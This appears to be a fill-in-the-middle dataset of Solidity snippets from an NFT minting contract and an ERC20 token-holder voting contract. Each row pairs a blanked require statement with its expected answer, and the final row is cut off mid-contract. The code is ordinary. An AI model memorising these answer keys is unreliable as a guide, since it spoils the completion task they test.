require(_numTokens <= freeSupplyWallet, "You cannot mint that many in one transaction.");
require(mintedPerWalletFree[msg.sender] + mintedPerWalletCost[msg.sender] + _numTokens <= MAX_MINT_PER_TX, "You cannot mint that many total.");
uint256 curTotalSupply = totalSupply;
require(<FILL_ME>)
// require(_numTokens * price <= msg.value, "Insufficient funds.");
for(uint256 i = 1; i <= _numTokens; ++i) {
_safeMint(msg.sender, curTotalSupply + i);
}
mintedPerWalletFree[msg.sender] += _numTokens;
totalSupply += _numTokens;
}
// Public Functions
function mintPublic(uint256 _numTokens) external payable {
}
function mintForWeb(uint256 _numTokens) external payable {
}
// Owner-only functions
function setPublicMintEnabled() external onlyOwner {
}
function setBaseUri(string memory _baseUri) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setSupplyPerWallet(uint256 _num) external onlyOwner {
}
function setCollectionSize(uint256 _num) external onlyOwner {
}
function withdrawAll() external payable onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function isAccountMintedFree() view public returns (bool) {
}
function getAccountMintedFree() view public returns (uint256) {
}
}
| curTotalSupply+_numTokens<=MAX_TOKENS,"Exceeds total supply." | 83,956 | curTotalSupply+_numTokens<=MAX_TOKENS |
"Insufficient funds." | pragma solidity ^0.8.9;
contract DarkWarriorNFT is ERC721, Ownable {
using Strings for uint256;
uint public MAX_TOKENS = 1500;
uint private constant TOKENS_RESERVED = 1;
//normal price
uint public price = 0.003 ether;
uint256 public MAX_MINT_PER_TX = 30;
//每个钱包可以free mint的数量
uint256 public freeSupplyWallet = 1;
bool public isSaleActive = true;
uint256 public totalSupply;
mapping(address => uint256) private mintedPerWalletFree;
mapping(address => uint256) private mintedPerWalletCost;
string public baseUri;
string public baseExtension = ".json";
constructor() ERC721("Dark Warriors (AGI)", "SYMBOL") {
}
function mintFree(uint256 _numTokens) external payable {
}
// Public Functions
function mintPublic(uint256 _numTokens) external payable {
require(isSaleActive, "The sale is paused.");
require(_numTokens <= MAX_MINT_PER_TX, "You cannot mint that many in one transaction.");
require(mintedPerWalletFree[msg.sender] + mintedPerWalletCost[msg.sender] + _numTokens <= MAX_MINT_PER_TX, "You cannot mint that many total.");
uint256 curTotalSupply = totalSupply;
require(curTotalSupply + _numTokens <= MAX_TOKENS, "Exceeds total supply.");
require(<FILL_ME>)
for(uint256 i = 1; i <= _numTokens; ++i) {
_safeMint(msg.sender, curTotalSupply + i);
}
mintedPerWalletCost[msg.sender] += _numTokens;
totalSupply += _numTokens;
}
function mintForWeb(uint256 _numTokens) external payable {
}
// Owner-only functions
function setPublicMintEnabled() external onlyOwner {
}
function setBaseUri(string memory _baseUri) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setSupplyPerWallet(uint256 _num) external onlyOwner {
}
function setCollectionSize(uint256 _num) external onlyOwner {
}
function withdrawAll() external payable onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function isAccountMintedFree() view public returns (bool) {
}
function getAccountMintedFree() view public returns (uint256) {
}
}
| _numTokens*price<=msg.value,"Insufficient funds." | 83,956 | _numTokens*price<=msg.value |
"Insufficient funds." | pragma solidity ^0.8.9;
contract DarkWarriorNFT is ERC721, Ownable {
using Strings for uint256;
uint public MAX_TOKENS = 1500;
uint private constant TOKENS_RESERVED = 1;
//normal price
uint public price = 0.003 ether;
uint256 public MAX_MINT_PER_TX = 30;
//每个钱包可以free mint的数量
uint256 public freeSupplyWallet = 1;
bool public isSaleActive = true;
uint256 public totalSupply;
mapping(address => uint256) private mintedPerWalletFree;
mapping(address => uint256) private mintedPerWalletCost;
string public baseUri;
string public baseExtension = ".json";
constructor() ERC721("Dark Warriors (AGI)", "SYMBOL") {
}
function mintFree(uint256 _numTokens) external payable {
}
// Public Functions
function mintPublic(uint256 _numTokens) external payable {
}
function mintForWeb(uint256 _numTokens) external payable {
require(isSaleActive, "The sale is paused.");
require(_numTokens <= MAX_MINT_PER_TX, "You cannot mint that many in one transaction.");
require(mintedPerWalletFree[msg.sender] + mintedPerWalletCost[msg.sender] + _numTokens <= MAX_MINT_PER_TX, "You cannot mint that many total.");
uint256 curTotalSupply = totalSupply;
require(curTotalSupply + _numTokens <= MAX_TOKENS, "Exceeds total supply.");
if(isAccountMintedFree()) {
//已经free过了
require(_numTokens * price <= msg.value, "Insufficient funds.");
for(uint256 i = 1; i <= _numTokens; ++i) {
_safeMint(msg.sender, curTotalSupply + i);
}
mintedPerWalletCost[msg.sender] += _numTokens;
} else {
//mint数量<=免费总数量 - 已经免费mint数量 免费
if(_numTokens <= freeSupplyWallet - mintedPerWalletFree[msg.sender]) {
for(uint256 i = 1; i <= _numTokens; ++i) {
_safeMint(msg.sender, curTotalSupply + i);
}
mintedPerWalletFree[msg.sender] += _numTokens;
} else {
require(<FILL_ME>)
for(uint256 i = 1; i <= _numTokens; ++i) {
_safeMint(msg.sender, curTotalSupply + i);
}
mintedPerWalletCost[msg.sender] += _numTokens - freeSupplyWallet + mintedPerWalletFree[msg.sender];
mintedPerWalletFree[msg.sender] = freeSupplyWallet;
}
}
totalSupply += _numTokens;
}
// Owner-only functions
function setPublicMintEnabled() external onlyOwner {
}
function setBaseUri(string memory _baseUri) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setSupplyPerWallet(uint256 _num) external onlyOwner {
}
function setCollectionSize(uint256 _num) external onlyOwner {
}
function withdrawAll() external payable onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function isAccountMintedFree() view public returns (bool) {
}
function getAccountMintedFree() view public returns (uint256) {
}
}
| (_numTokens-freeSupplyWallet+mintedPerWalletFree[msg.sender])*price<=msg.value,"Insufficient funds." | 83,956 | (_numTokens-freeSupplyWallet+mintedPerWalletFree[msg.sender])*price<=msg.value |
"Only tokenholder that has more than <treshold> can start voting" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
/*
* This smart contract implements voting for tokenholders of ERC20 tokens based on the principle
* "one token - one vote"
* It requires external script to count votes.
*
* Rules:
* Voting can be started for any contract with ERC20 tokens, to start a voting an address have to own at lest one token.
* To start a voting, voting creator must provide:
* 1) address of a contract with tokens (ERC20),
* 2) text of the proposal,
* 3) number of block on witch voting will be finished and results have to be calculated.
*
* Every proposal for a contract receives a sequence number that serves as a proposal ID for this contract.
* Each smart contract with tokens has its own numbering.
* So proposal can be identified by contract address with tokens + number (ID) of the proposal.
*
* To vote 'for' or 'against' voter has to provide an address of a contract with tokens + proposal ID.
*
* In most scenarios only votes 'for' can be used, who did not voted 'for' can be considered as voted 'against'.
* But our dApp also supports votes 'against'
*
* To calculate results we collect all voted addresses by an external script, which is also open sourced.
* Than we check their balances in tokens on resulting block, and and sum up the voices.
* Thus, for the results, the number of tokens of the voter at the moment of voting does not matter
* (it should just has at least one).
* What matters is the number of tokens on the voter's address on the block where the results should calculated.
*
*/
import "@openzeppelin/contracts/access/Ownable.sol";
abstract contract ERC20TokensContract {
/*
* These are functions that smart contract needs to have to work with our dApp
*/
function balanceOf(address _owner) external view virtual returns (uint256 balance);
function totalSupply() external view virtual returns (uint256);
function decimals() external view virtual returns (uint8);
string public name;
string public symbol;
}
contract VotingForERC20 is Ownable {
mapping(address => uint256) public votingCreationTresholdForContract;
mapping(address => uint256) public votingCounterForContract;
mapping(address => mapping(uint256 => string)) public proposalText;
mapping(address => mapping(uint256 => uint256)) public numberOfVotersFor;
mapping(address => mapping(uint256 => uint256)) public numberOfVotersAgainst;
mapping(address => mapping(uint256 => mapping(uint256 => address))) public votedFor;
mapping(address => mapping(uint256 => mapping(uint256 => address))) public votedAgainst;
mapping(address => mapping(uint256 => mapping(address => bool))) public boolVotedFor;
mapping(address => mapping(uint256 => mapping(address => bool))) public boolVotedAgainst;
mapping(address => mapping(uint256 => uint256)) public startTimestamp;
mapping(address => mapping(uint256 => uint256)) public endTimestamp;
event Proposal(
address indexed forContract,
uint256 indexed proposalId,
address indexed by,
string proposalText,
uint256 startTimestamp,
uint256 endTimestamp
);
function setVotingCreationTresholdForContract(
address _erc20ContractAddress,
uint256 _treshold
) public onlyOwner {
}
function create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp
) public returns (uint256 proposalId) {
}
function create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp,
uint256 _startTimestamp
) public returns (uint256 proposalId) {
}
function _create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp,
uint256 _startTimestamp
) internal returns (uint256 proposalId) {
ERC20TokensContract erc20TokensContract = ERC20TokensContract(_erc20ContractAddress);
require(<FILL_ME>)
require(
_endTimestamp > block.timestamp && _endTimestamp > _startTimestamp,
"Voting end timestamp should be later than the current moment and the voting start timestamp"
);
// votingCounterForContract[_erc20ContractAddress]++; // < does not work
votingCounterForContract[_erc20ContractAddress] = votingCounterForContract[_erc20ContractAddress] + 1;
proposalId = votingCounterForContract[_erc20ContractAddress];
proposalText[_erc20ContractAddress][proposalId] = _proposalText;
startTimestamp[_erc20ContractAddress][proposalId] = _startTimestamp;
endTimestamp[_erc20ContractAddress][proposalId] = _endTimestamp;
emit Proposal(
_erc20ContractAddress,
proposalId,
msg.sender,
_proposalText,
_startTimestamp,
_endTimestamp
);
return proposalId;
}
event VoteFor(
address indexed forContract,
uint256 indexed proposalId,
address indexed by
);
event VoteAgainst(
address indexed forContract,
uint256 indexed proposalId,
address indexed by
);
function voteFor(
address _erc20ContractAddress, //..1
uint256 _proposalId //.............2
) public returns (bool success) {
}
function voteAgainst(
address _erc20ContractAddress, //..1
uint256 _proposalId //.............2
) public returns (bool success) {
}
}
| erc20TokensContract.balanceOf(msg.sender)>votingCreationTresholdForContract[_erc20ContractAddress],"Only tokenholder that has more than <treshold> can start voting" | 84,023 | erc20TokensContract.balanceOf(msg.sender)>votingCreationTresholdForContract[_erc20ContractAddress] |
"Only tokenholder can vote" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
/*
* This smart contract implements voting for tokenholders of ERC20 tokens based on the principle
* "one token - one vote"
* It requires external script to count votes.
*
* Rules:
* Voting can be started for any contract with ERC20 tokens, to start a voting an address have to own at lest one token.
* To start a voting, voting creator must provide:
* 1) address of a contract with tokens (ERC20),
* 2) text of the proposal,
* 3) number of block on witch voting will be finished and results have to be calculated.
*
* Every proposal for a contract receives a sequence number that serves as a proposal ID for this contract.
* Each smart contract with tokens has its own numbering.
* So proposal can be identified by contract address with tokens + number (ID) of the proposal.
*
* To vote 'for' or 'against' voter has to provide an address of a contract with tokens + proposal ID.
*
* In most scenarios only votes 'for' can be used, who did not voted 'for' can be considered as voted 'against'.
* But our dApp also supports votes 'against'
*
* To calculate results we collect all voted addresses by an external script, which is also open sourced.
* Than we check their balances in tokens on resulting block, and and sum up the voices.
* Thus, for the results, the number of tokens of the voter at the moment of voting does not matter
* (it should just has at least one).
* What matters is the number of tokens on the voter's address on the block where the results should calculated.
*
*/
import "@openzeppelin/contracts/access/Ownable.sol";
abstract contract ERC20TokensContract {
/*
* These are functions that smart contract needs to have to work with our dApp
*/
function balanceOf(address _owner) external view virtual returns (uint256 balance);
function totalSupply() external view virtual returns (uint256);
function decimals() external view virtual returns (uint8);
string public name;
string public symbol;
}
contract VotingForERC20 is Ownable {
mapping(address => uint256) public votingCreationTresholdForContract;
mapping(address => uint256) public votingCounterForContract;
mapping(address => mapping(uint256 => string)) public proposalText;
mapping(address => mapping(uint256 => uint256)) public numberOfVotersFor;
mapping(address => mapping(uint256 => uint256)) public numberOfVotersAgainst;
mapping(address => mapping(uint256 => mapping(uint256 => address))) public votedFor;
mapping(address => mapping(uint256 => mapping(uint256 => address))) public votedAgainst;
mapping(address => mapping(uint256 => mapping(address => bool))) public boolVotedFor;
mapping(address => mapping(uint256 => mapping(address => bool))) public boolVotedAgainst;
mapping(address => mapping(uint256 => uint256)) public startTimestamp;
mapping(address => mapping(uint256 => uint256)) public endTimestamp;
event Proposal(
address indexed forContract,
uint256 indexed proposalId,
address indexed by,
string proposalText,
uint256 startTimestamp,
uint256 endTimestamp
);
function setVotingCreationTresholdForContract(
address _erc20ContractAddress,
uint256 _treshold
) public onlyOwner {
}
function create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp
) public returns (uint256 proposalId) {
}
function create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp,
uint256 _startTimestamp
) public returns (uint256 proposalId) {
}
function _create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp,
uint256 _startTimestamp
) internal returns (uint256 proposalId) {
}
event VoteFor(
address indexed forContract,
uint256 indexed proposalId,
address indexed by
);
event VoteAgainst(
address indexed forContract,
uint256 indexed proposalId,
address indexed by
);
function voteFor(
address _erc20ContractAddress, //..1
uint256 _proposalId //.............2
) public returns (bool success) {
ERC20TokensContract erc20TokensContract = ERC20TokensContract(_erc20ContractAddress);
require(<FILL_ME>)
require(
startTimestamp[_erc20ContractAddress][_proposalId] <= block.timestamp,
"Voting has not started yet."
);
require(
endTimestamp[_erc20ContractAddress][_proposalId] > block.timestamp,
"Voting has finished!"
);
require(
!boolVotedFor[_erc20ContractAddress][_proposalId][msg.sender],
"Already voted"
);
require(
!boolVotedAgainst[_erc20ContractAddress][_proposalId][msg.sender],
"Already voted"
);
numberOfVotersFor[_erc20ContractAddress][_proposalId] = numberOfVotersFor[_erc20ContractAddress][_proposalId] + 1;
uint256 voterId = numberOfVotersFor[_erc20ContractAddress][_proposalId];
votedFor[_erc20ContractAddress][_proposalId][voterId] = msg.sender;
boolVotedFor[_erc20ContractAddress][_proposalId][msg.sender] = true;
emit VoteFor(_erc20ContractAddress, _proposalId, msg.sender);
return true;
}
function voteAgainst(
address _erc20ContractAddress, //..1
uint256 _proposalId //.............2
) public returns (bool success) {
}
}
| erc20TokensContract.balanceOf(msg.sender)>0,"Only tokenholder can vote" | 84,023 | erc20TokensContract.balanceOf(msg.sender)>0 |
"Voting has not started yet." | //SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
/*
* This smart contract implements voting for tokenholders of ERC20 tokens based on the principle
* "one token - one vote"
* It requires external script to count votes.
*
* Rules:
* Voting can be started for any contract with ERC20 tokens, to start a voting an address have to own at lest one token.
* To start a voting, voting creator must provide:
* 1) address of a contract with tokens (ERC20),
* 2) text of the proposal,
* 3) number of block on witch voting will be finished and results have to be calculated.
*
* Every proposal for a contract receives a sequence number that serves as a proposal ID for this contract.
* Each smart contract with tokens has its own numbering.
* So proposal can be identified by contract address with tokens + number (ID) of the proposal.
*
* To vote 'for' or 'against' voter has to provide an address of a contract with tokens + proposal ID.
*
* In most scenarios only votes 'for' can be used, who did not voted 'for' can be considered as voted 'against'.
* But our dApp also supports votes 'against'
*
* To calculate results we collect all voted addresses by an external script, which is also open sourced.
* Than we check their balances in tokens on resulting block, and and sum up the voices.
* Thus, for the results, the number of tokens of the voter at the moment of voting does not matter
* (it should just has at least one).
* What matters is the number of tokens on the voter's address on the block where the results should calculated.
*
*/
import "@openzeppelin/contracts/access/Ownable.sol";
abstract contract ERC20TokensContract {
/*
* These are functions that smart contract needs to have to work with our dApp
*/
function balanceOf(address _owner) external view virtual returns (uint256 balance);
function totalSupply() external view virtual returns (uint256);
function decimals() external view virtual returns (uint8);
string public name;
string public symbol;
}
contract VotingForERC20 is Ownable {
mapping(address => uint256) public votingCreationTresholdForContract;
mapping(address => uint256) public votingCounterForContract;
mapping(address => mapping(uint256 => string)) public proposalText;
mapping(address => mapping(uint256 => uint256)) public numberOfVotersFor;
mapping(address => mapping(uint256 => uint256)) public numberOfVotersAgainst;
mapping(address => mapping(uint256 => mapping(uint256 => address))) public votedFor;
mapping(address => mapping(uint256 => mapping(uint256 => address))) public votedAgainst;
mapping(address => mapping(uint256 => mapping(address => bool))) public boolVotedFor;
mapping(address => mapping(uint256 => mapping(address => bool))) public boolVotedAgainst;
mapping(address => mapping(uint256 => uint256)) public startTimestamp;
mapping(address => mapping(uint256 => uint256)) public endTimestamp;
event Proposal(
address indexed forContract,
uint256 indexed proposalId,
address indexed by,
string proposalText,
uint256 startTimestamp,
uint256 endTimestamp
);
function setVotingCreationTresholdForContract(
address _erc20ContractAddress,
uint256 _treshold
) public onlyOwner {
}
function create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp
) public returns (uint256 proposalId) {
}
function create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp,
uint256 _startTimestamp
) public returns (uint256 proposalId) {
}
function _create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp,
uint256 _startTimestamp
) internal returns (uint256 proposalId) {
}
event VoteFor(
address indexed forContract,
uint256 indexed proposalId,
address indexed by
);
event VoteAgainst(
address indexed forContract,
uint256 indexed proposalId,
address indexed by
);
function voteFor(
address _erc20ContractAddress, //..1
uint256 _proposalId //.............2
) public returns (bool success) {
ERC20TokensContract erc20TokensContract = ERC20TokensContract(_erc20ContractAddress);
require(
erc20TokensContract.balanceOf(msg.sender) > 0,
"Only tokenholder can vote"
);
require(<FILL_ME>)
require(
endTimestamp[_erc20ContractAddress][_proposalId] > block.timestamp,
"Voting has finished!"
);
require(
!boolVotedFor[_erc20ContractAddress][_proposalId][msg.sender],
"Already voted"
);
require(
!boolVotedAgainst[_erc20ContractAddress][_proposalId][msg.sender],
"Already voted"
);
numberOfVotersFor[_erc20ContractAddress][_proposalId] = numberOfVotersFor[_erc20ContractAddress][_proposalId] + 1;
uint256 voterId = numberOfVotersFor[_erc20ContractAddress][_proposalId];
votedFor[_erc20ContractAddress][_proposalId][voterId] = msg.sender;
boolVotedFor[_erc20ContractAddress][_proposalId][msg.sender] = true;
emit VoteFor(_erc20ContractAddress, _proposalId, msg.sender);
return true;
}
function voteAgainst(
address _erc20ContractAddress, //..1
uint256 _proposalId //.............2
) public returns (bool success) {
}
}
| startTimestamp[_erc20ContractAddress][_proposalId]<=block.timestamp,"Voting has not started yet." | 84,023 | startTimestamp[_erc20ContractAddress][_proposalId]<=block.timestamp |
"Voting has finished!" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
/*
* This smart contract implements voting for tokenholders of ERC20 tokens based on the principle
* "one token - one vote"
* It requires external script to count votes.
*
* Rules:
* Voting can be started for any contract with ERC20 tokens, to start a voting an address have to own at lest one token.
* To start a voting, voting creator must provide:
* 1) address of a contract with tokens (ERC20),
* 2) text of the proposal,
* 3) number of block on witch voting will be finished and results have to be calculated.
*
* Every proposal for a contract receives a sequence number that serves as a proposal ID for this contract.
* Each smart contract with tokens has its own numbering.
* So proposal can be identified by contract address with tokens + number (ID) of the proposal.
*
* To vote 'for' or 'against' voter has to provide an address of a contract with tokens + proposal ID.
*
* In most scenarios only votes 'for' can be used, who did not voted 'for' can be considered as voted 'against'.
* But our dApp also supports votes 'against'
*
* To calculate results we collect all voted addresses by an external script, which is also open sourced.
* Than we check their balances in tokens on resulting block, and and sum up the voices.
* Thus, for the results, the number of tokens of the voter at the moment of voting does not matter
* (it should just has at least one).
* What matters is the number of tokens on the voter's address on the block where the results should calculated.
*
*/
import "@openzeppelin/contracts/access/Ownable.sol";
abstract contract ERC20TokensContract {
/*
* These are functions that smart contract needs to have to work with our dApp
*/
function balanceOf(address _owner) external view virtual returns (uint256 balance);
function totalSupply() external view virtual returns (uint256);
function decimals() external view virtual returns (uint8);
string public name;
string public symbol;
}
contract VotingForERC20 is Ownable {
mapping(address => uint256) public votingCreationTresholdForContract;
mapping(address => uint256) public votingCounterForContract;
mapping(address => mapping(uint256 => string)) public proposalText;
mapping(address => mapping(uint256 => uint256)) public numberOfVotersFor;
mapping(address => mapping(uint256 => uint256)) public numberOfVotersAgainst;
mapping(address => mapping(uint256 => mapping(uint256 => address))) public votedFor;
mapping(address => mapping(uint256 => mapping(uint256 => address))) public votedAgainst;
mapping(address => mapping(uint256 => mapping(address => bool))) public boolVotedFor;
mapping(address => mapping(uint256 => mapping(address => bool))) public boolVotedAgainst;
mapping(address => mapping(uint256 => uint256)) public startTimestamp;
mapping(address => mapping(uint256 => uint256)) public endTimestamp;
event Proposal(
address indexed forContract,
uint256 indexed proposalId,
address indexed by,
string proposalText,
uint256 startTimestamp,
uint256 endTimestamp
);
function setVotingCreationTresholdForContract(
address _erc20ContractAddress,
uint256 _treshold
) public onlyOwner {
}
function create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp
) public returns (uint256 proposalId) {
}
function create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp,
uint256 _startTimestamp
) public returns (uint256 proposalId) {
}
function _create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp,
uint256 _startTimestamp
) internal returns (uint256 proposalId) {
}
event VoteFor(
address indexed forContract,
uint256 indexed proposalId,
address indexed by
);
event VoteAgainst(
address indexed forContract,
uint256 indexed proposalId,
address indexed by
);
function voteFor(
address _erc20ContractAddress, //..1
uint256 _proposalId //.............2
) public returns (bool success) {
ERC20TokensContract erc20TokensContract = ERC20TokensContract(_erc20ContractAddress);
require(
erc20TokensContract.balanceOf(msg.sender) > 0,
"Only tokenholder can vote"
);
require(
startTimestamp[_erc20ContractAddress][_proposalId] <= block.timestamp,
"Voting has not started yet."
);
require(<FILL_ME>)
require(
!boolVotedFor[_erc20ContractAddress][_proposalId][msg.sender],
"Already voted"
);
require(
!boolVotedAgainst[_erc20ContractAddress][_proposalId][msg.sender],
"Already voted"
);
numberOfVotersFor[_erc20ContractAddress][_proposalId] = numberOfVotersFor[_erc20ContractAddress][_proposalId] + 1;
uint256 voterId = numberOfVotersFor[_erc20ContractAddress][_proposalId];
votedFor[_erc20ContractAddress][_proposalId][voterId] = msg.sender;
boolVotedFor[_erc20ContractAddress][_proposalId][msg.sender] = true;
emit VoteFor(_erc20ContractAddress, _proposalId, msg.sender);
return true;
}
function voteAgainst(
address _erc20ContractAddress, //..1
uint256 _proposalId //.............2
) public returns (bool success) {
}
}
| endTimestamp[_erc20ContractAddress][_proposalId]>block.timestamp,"Voting has finished!" | 84,023 | endTimestamp[_erc20ContractAddress][_proposalId]>block.timestamp |
"Already voted" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
/*
* This smart contract implements voting for tokenholders of ERC20 tokens based on the principle
* "one token - one vote"
* It requires external script to count votes.
*
* Rules:
* Voting can be started for any contract with ERC20 tokens, to start a voting an address have to own at lest one token.
* To start a voting, voting creator must provide:
* 1) address of a contract with tokens (ERC20),
* 2) text of the proposal,
* 3) number of block on witch voting will be finished and results have to be calculated.
*
* Every proposal for a contract receives a sequence number that serves as a proposal ID for this contract.
* Each smart contract with tokens has its own numbering.
* So proposal can be identified by contract address with tokens + number (ID) of the proposal.
*
* To vote 'for' or 'against' voter has to provide an address of a contract with tokens + proposal ID.
*
* In most scenarios only votes 'for' can be used, who did not voted 'for' can be considered as voted 'against'.
* But our dApp also supports votes 'against'
*
* To calculate results we collect all voted addresses by an external script, which is also open sourced.
* Than we check their balances in tokens on resulting block, and and sum up the voices.
* Thus, for the results, the number of tokens of the voter at the moment of voting does not matter
* (it should just has at least one).
* What matters is the number of tokens on the voter's address on the block where the results should calculated.
*
*/
import "@openzeppelin/contracts/access/Ownable.sol";
abstract contract ERC20TokensContract {
/*
* These are functions that smart contract needs to have to work with our dApp
*/
function balanceOf(address _owner) external view virtual returns (uint256 balance);
function totalSupply() external view virtual returns (uint256);
function decimals() external view virtual returns (uint8);
string public name;
string public symbol;
}
contract VotingForERC20 is Ownable {
mapping(address => uint256) public votingCreationTresholdForContract;
mapping(address => uint256) public votingCounterForContract;
mapping(address => mapping(uint256 => string)) public proposalText;
mapping(address => mapping(uint256 => uint256)) public numberOfVotersFor;
mapping(address => mapping(uint256 => uint256)) public numberOfVotersAgainst;
mapping(address => mapping(uint256 => mapping(uint256 => address))) public votedFor;
mapping(address => mapping(uint256 => mapping(uint256 => address))) public votedAgainst;
mapping(address => mapping(uint256 => mapping(address => bool))) public boolVotedFor;
mapping(address => mapping(uint256 => mapping(address => bool))) public boolVotedAgainst;
mapping(address => mapping(uint256 => uint256)) public startTimestamp;
mapping(address => mapping(uint256 => uint256)) public endTimestamp;
event Proposal(
address indexed forContract,
uint256 indexed proposalId,
address indexed by,
string proposalText,
uint256 startTimestamp,
uint256 endTimestamp
);
function setVotingCreationTresholdForContract(
address _erc20ContractAddress,
uint256 _treshold
) public onlyOwner {
}
function create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp
) public returns (uint256 proposalId) {
}
function create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp,
uint256 _startTimestamp
) public returns (uint256 proposalId) {
}
function _create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp,
uint256 _startTimestamp
) internal returns (uint256 proposalId) {
}
event VoteFor(
address indexed forContract,
uint256 indexed proposalId,
address indexed by
);
event VoteAgainst(
address indexed forContract,
uint256 indexed proposalId,
address indexed by
);
function voteFor(
address _erc20ContractAddress, //..1
uint256 _proposalId //.............2
) public returns (bool success) {
ERC20TokensContract erc20TokensContract = ERC20TokensContract(_erc20ContractAddress);
require(
erc20TokensContract.balanceOf(msg.sender) > 0,
"Only tokenholder can vote"
);
require(
startTimestamp[_erc20ContractAddress][_proposalId] <= block.timestamp,
"Voting has not started yet."
);
require(
endTimestamp[_erc20ContractAddress][_proposalId] > block.timestamp,
"Voting has finished!"
);
require(<FILL_ME>)
require(
!boolVotedAgainst[_erc20ContractAddress][_proposalId][msg.sender],
"Already voted"
);
numberOfVotersFor[_erc20ContractAddress][_proposalId] = numberOfVotersFor[_erc20ContractAddress][_proposalId] + 1;
uint256 voterId = numberOfVotersFor[_erc20ContractAddress][_proposalId];
votedFor[_erc20ContractAddress][_proposalId][voterId] = msg.sender;
boolVotedFor[_erc20ContractAddress][_proposalId][msg.sender] = true;
emit VoteFor(_erc20ContractAddress, _proposalId, msg.sender);
return true;
}
function voteAgainst(
address _erc20ContractAddress, //..1
uint256 _proposalId //.............2
) public returns (bool success) {
}
}
| !boolVotedFor[_erc20ContractAddress][_proposalId][msg.sender],"Already voted" | 84,023 | !boolVotedFor[_erc20ContractAddress][_proposalId][msg.sender] |
"Already voted" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
/*
* This smart contract implements voting for tokenholders of ERC20 tokens based on the principle
* "one token - one vote"
* It requires external script to count votes.
*
* Rules:
* Voting can be started for any contract with ERC20 tokens, to start a voting an address have to own at lest one token.
* To start a voting, voting creator must provide:
* 1) address of a contract with tokens (ERC20),
* 2) text of the proposal,
* 3) number of block on witch voting will be finished and results have to be calculated.
*
* Every proposal for a contract receives a sequence number that serves as a proposal ID for this contract.
* Each smart contract with tokens has its own numbering.
* So proposal can be identified by contract address with tokens + number (ID) of the proposal.
*
* To vote 'for' or 'against' voter has to provide an address of a contract with tokens + proposal ID.
*
* In most scenarios only votes 'for' can be used, who did not voted 'for' can be considered as voted 'against'.
* But our dApp also supports votes 'against'
*
* To calculate results we collect all voted addresses by an external script, which is also open sourced.
* Than we check their balances in tokens on resulting block, and and sum up the voices.
* Thus, for the results, the number of tokens of the voter at the moment of voting does not matter
* (it should just has at least one).
* What matters is the number of tokens on the voter's address on the block where the results should calculated.
*
*/
import "@openzeppelin/contracts/access/Ownable.sol";
abstract contract ERC20TokensContract {
/*
* These are functions that smart contract needs to have to work with our dApp
*/
function balanceOf(address _owner) external view virtual returns (uint256 balance);
function totalSupply() external view virtual returns (uint256);
function decimals() external view virtual returns (uint8);
string public name;
string public symbol;
}
contract VotingForERC20 is Ownable {
mapping(address => uint256) public votingCreationTresholdForContract;
mapping(address => uint256) public votingCounterForContract;
mapping(address => mapping(uint256 => string)) public proposalText;
mapping(address => mapping(uint256 => uint256)) public numberOfVotersFor;
mapping(address => mapping(uint256 => uint256)) public numberOfVotersAgainst;
mapping(address => mapping(uint256 => mapping(uint256 => address))) public votedFor;
mapping(address => mapping(uint256 => mapping(uint256 => address))) public votedAgainst;
mapping(address => mapping(uint256 => mapping(address => bool))) public boolVotedFor;
mapping(address => mapping(uint256 => mapping(address => bool))) public boolVotedAgainst;
mapping(address => mapping(uint256 => uint256)) public startTimestamp;
mapping(address => mapping(uint256 => uint256)) public endTimestamp;
event Proposal(
address indexed forContract,
uint256 indexed proposalId,
address indexed by,
string proposalText,
uint256 startTimestamp,
uint256 endTimestamp
);
function setVotingCreationTresholdForContract(
address _erc20ContractAddress,
uint256 _treshold
) public onlyOwner {
}
function create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp
) public returns (uint256 proposalId) {
}
function create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp,
uint256 _startTimestamp
) public returns (uint256 proposalId) {
}
function _create(
address _erc20ContractAddress,
string calldata _proposalText,
uint256 _endTimestamp,
uint256 _startTimestamp
) internal returns (uint256 proposalId) {
}
event VoteFor(
address indexed forContract,
uint256 indexed proposalId,
address indexed by
);
event VoteAgainst(
address indexed forContract,
uint256 indexed proposalId,
address indexed by
);
function voteFor(
address _erc20ContractAddress, //..1
uint256 _proposalId //.............2
) public returns (bool success) {
ERC20TokensContract erc20TokensContract = ERC20TokensContract(_erc20ContractAddress);
require(
erc20TokensContract.balanceOf(msg.sender) > 0,
"Only tokenholder can vote"
);
require(
startTimestamp[_erc20ContractAddress][_proposalId] <= block.timestamp,
"Voting has not started yet."
);
require(
endTimestamp[_erc20ContractAddress][_proposalId] > block.timestamp,
"Voting has finished!"
);
require(
